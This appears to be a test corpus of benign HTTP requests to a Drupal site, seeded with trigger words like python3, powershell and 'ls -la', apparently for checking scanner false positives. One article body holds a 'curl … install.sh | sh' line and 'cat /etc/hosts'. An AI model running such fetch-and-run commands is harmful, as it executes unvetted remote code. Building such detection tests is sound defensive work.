{"method": "POST", "target": "/user/logout?_format=json&token=aAL70H9lx1XrjIVcHIF12FLWwoi0YEwunehLXbSKZv4", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=example-password-1&form_build_id=form-lt4MGc7V3i3el7smsATqAMVVJ1KzV_yV3U3nOcZ7FWc&form_id=user_login_form&op=Log+in"}
{"method": "GET", "target": "/search/user?keys=admin", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media-grid?name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media-grid?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=python3-%2Fetc%2Fhosts-1&form_build_id=form-lt4MGc7V3i3el7smsATqAMVVJ1KzV_yV3U3nOcZ7FWc&form_id=user_login_form&op=Log+in"}
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/python3-notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_site_branding%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_main_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Dmain%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_account_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Daccount%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_breadcrumbs%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_page_title%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_powered%3Alangcode%3Den&tokens%5B%5D=1rv_5u0s4iGV_AWmQmPdRm4CsxIu8wsjE8sFkt9yGF4&tokens%5B%5D=8Gi0ikQVIh2gC601Y5UBe2vi21hWy8qqpz--u2aRwZU&tokens%5B%5D=henkHDCYz37bUB9MGiVxhW9dClN1HHpXLkE9blnvU8I&tokens%5B%5D=DupSXj2bNdZYw9OEb6f4T6BX3qXPnA1znFW4miVijJU&tokens%5B%5D=pGkK5C6k5HhOIlpSVObsmKdf5DVWqjhEzJfvUSZdanw&tokens%5B%5D=jmjvcBoCtAymF3-B_C5BHjXRBqYcwKstu9qZq-rxCDw"}
{"method": "POST", "target": "/editor/filter_xss/full_html", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "value=&original_format_id=basic_html"}
{"method": "POST", "target": "/node/add/article", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRCXQGBEZqRVGYEzF", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214990\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nSELECT a table: python3, ls -la and .htaccess\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-Vl4RHWAalDXt4xlz9gkdfBjyRGaJHUU6FRlyea9EKkc\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nI1fDBOjGA9cTabBxXpM8PsNoHDj_jgNpDUfryW87JZQ\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_form\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\nNotes on python3 and powershell\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\"/python3-notes\">read the notes</a> or <a href=\"https://example.com/docs/setup.php?a=1&amp;b=2\">the docs</a>.</p><pre><code class=\"language-plaintext language-bash\">#!/bin/sh\r\ncat /etc/hosts | grep example &amp;&amp; ls -la\r\npython3 setup.py install\r\ncurl -s https://example.com/install.sh | sh\r\nSELECT name, mail FROM users WHERE uid = 1;\r\nconsole.log('ok'); document.getElementById('x');\r\nif (a == b) { echo $PATH; }\r\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li data-list-item-id=\"e0931e5bf5859e9ac55e1b80ed4b3ad82\">one</li><li data-list-item-id=\"e681549baddb3c36b7bcba5605e5831c2\">two</li></ul><table class=\"table\"><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\"/sites/default/files/inline-images/photo.png\" data-entity-uuid=\"11111111-2222-4333-8444-555555555555\" data-entity-type=\"file\" alt=\"A photo\" width=\"1\" height=\"1\"></p>\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nfull_html\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\nAdded ls -la and python3 notes\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n/powershell-and-python3\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:03:10\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF--\r\n"}
{"method": "GET", "target": "/powershell-and-python3", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/powershell-and-python3", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D5%3Achanged%3D1794214996%26langcode%3Den&tokens%5B%5D=ita10VPYAXlTHzj0MBr00dObG7ftbasU9C1DjE2zOWI"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/node/1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214664%26langcode%3Den&ids%5B%5D=comment%3Acomment%3D1%3Achanged%3D1794214675%26langcode%3Den&tokens%5B%5D=gbyDF1Z3LcCvTyCIXXmz1gj9CG3LaEd37N1nZ2PpLNo&tokens%5B%5D=fF-4OT40LdhhlYhHgviv64T0nVqkE5MGiUWVIAcU8lo"}
{"method": "POST", "target": "/comment/reply/node/1/comment", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/1", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-r1mZS5F4tqXIdq44fjWFYuN-awBCxpW-K-BvoAAmkyk&form_token=8K6l4FhFSzSgw_JeQMFcuQ7zkooQehyqSkLCSKhLp5I&form_id=comment_comment_form&subject%5B0%5D%5Bvalue%5D=Python3+on+.htaccess&comment_body%5B0%5D%5Bvalue%5D=%3Cp%3EDoes+%3Ccode%3Els+-la%3C%2Fcode%3E+work+under+powershell+or+python3%3F%3C%2Fp%3E&comment_body%5B0%5D%5Bformat%5D=basic_html&op=Save"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=comment%3Acomment%3D1%3Achanged%3D1794214675%26langcode%3Den&ids%5B%5D=comment%3Acomment%3D2%3Achanged%3D1794214999%26langcode%3Den&tokens%5B%5D=fF-4OT40LdhhlYhHgviv64T0nVqkE5MGiUWVIAcU8lo&tokens%5B%5D=ChhtBe1arN5N5VhzviQHD_VDytZgbZVB3u-2qOufzK8"}
{"method": "POST", "target": "/media/add/image?element_parents=field_media_image/widget/0&ajax_form=1&_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE7nrnHw1Pab3ZFls", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"files[field_media_image_0]\"; filename=\"powershell-setup.png\"\r\nContent-Type: image/png\r\n\r\n‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"field_media_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-VXabaXRkKe3hFQCBi49Nj8rAr5cTRZX5WNNCr-orKCE\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\n8VNEl_v41Qp_-ifKyOaSbJFXK8Q95OOmPua9eGqiTOw\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nmedia_image_add_form\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"revision_log_message[0][value]\"\r\n\r\n\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:03:20\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"advanced__active_tab\"\r\n\r\nedit-revision-information\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nfield_media_image_0_upload_button\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nUpload\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"_drupal_ajax\"\r\n\r\n1\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nclaro\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\ngtuOMELGPT-cRRR7C5yAGfDEzvpCn6gTPnJ4IefXf4E\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n\r\neJxVj1ESwjAIRC_UtGeiERWlUAnpWE9votVM_naW5cFGBtNpwRNBOKstQ1RxfHoGnk6WV-CxOYFJ7qlEDKeoy6qC4mkU2OgCTiohuCrPYGHO7irf6MGB6LThh9H72bXSGB27QVRmWFNvlovk--_X5icHx9RZ9WswhGCY6NVjNjSnWCo5zMcWlZomZXZ7ZLR9bCekKOCKOBP_EVUPrfvU5Miwa_ZhBb_-0lW_AQOBjSg\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls--\r\n"}
{"method": "GET", "target": "/sites/default/files/styles/thumbnail/public/2026-11/powershell-setup_3.png.avif?itok=yeYeqKgQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path?search=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/moderated?title=python3&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/moderated?title=python3&moderation_state=All", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dmoderated_content%3Alocation%3Dpage%26name%3Dmoderated_content%26display_id%3Dmoderated_content%26langcode%3Den&tokens%5B%5D=ZPCy2PWMDA1qxRmOrOGS24WKpHYbJym8Bd048r6MnIw"}
{"method": "GET", "target": "/admin/content/files?filename=&filemime=python3&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path?search=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/moderated?title=powershell&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=&filemime=powershell&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
